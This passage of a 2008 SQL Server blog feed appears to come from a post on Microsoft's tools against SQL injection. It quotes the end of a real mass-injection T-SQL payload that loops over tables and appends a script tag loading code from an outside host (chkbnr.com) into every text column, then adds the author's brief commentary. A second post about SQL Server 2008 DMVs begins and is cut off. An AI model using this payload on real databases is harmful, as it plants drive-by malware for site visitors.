&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;EXEC&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'UPDATE ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'] SET ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']=RTRIM(CONVERT(VARCHAR(4000),['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']))+''&amp;lt;script src=http://www.chkbnr.com/b.js&amp;gt;&amp;lt;/script&amp;gt;'''&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT size=2&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;END&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;CLOSE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;DEALLOCATE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Somehow I think this could have been written set based&amp;nbsp; :-)&lt;/P&gt;
&lt;P&gt;The problem is of course that you should never ever run as dbo or even worse&amp;nbsp;sa.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Microsoft Releases Tools To Address SQL Injection Attacks&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Microsoft Releases Tools To Address SQL Injection Attacks%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx" target="_blank" title = "Email Microsoft Releases Tools To Address SQL Injection Attacks"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx&amp;amp;title=Microsoft+Releases+Tools+To+Address+SQL+Injection+Attacks" target="_blank" title = "Submit Microsoft Releases Tools To Address SQL Injection Attacks to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx&amp;amp;phase=2" target="_blank" title = "Submit Microsoft Releases Tools To Address SQL Injection Attacks to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx&amp;amp;title=Microsoft+Releases+Tools+To+Address+SQL+Injection+Attacks" target="_blank" title = "Submit Microsoft Releases Tools To Address SQL Injection Attacks to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx&amp;amp;title=Microsoft+Releases+Tools+To+Address+SQL+Injection+Attacks" target="_blank" title = "Submit Microsoft Releases Tools To Address SQL Injection Attacks to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx&amp;amp;title=Microsoft+Releases+Tools+To+Address+SQL+Injection+Attacks&amp;amp;;top=1" target="_blank" title = "Add Microsoft Releases Tools To Address SQL Injection Attacks to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7491" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="Security" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx" /><category term="SQL Injection" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx" /></entry><entry><title>No New DMVs In RC0 Compared to CTP6</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/06/24/7470.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/06/24/7470.aspx</id><published>2008-06-24T19:21:00Z</published><updated>2008-06-24T19:21:00Z</updated><content type="html">&lt;P&gt;Remember this post &lt;A class="" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/02/21/5188.aspx"&gt;46 New Dynamic Management Views In SQL Server 2008 CTP6&lt;/A&gt;?&lt;/P&gt;
&lt;P&gt;I just checked SQL Server 2008 RC0 and there are no new Dynamic Management Views when compared to CTP6.&lt;/P&gt;
&lt;P&gt;Sorr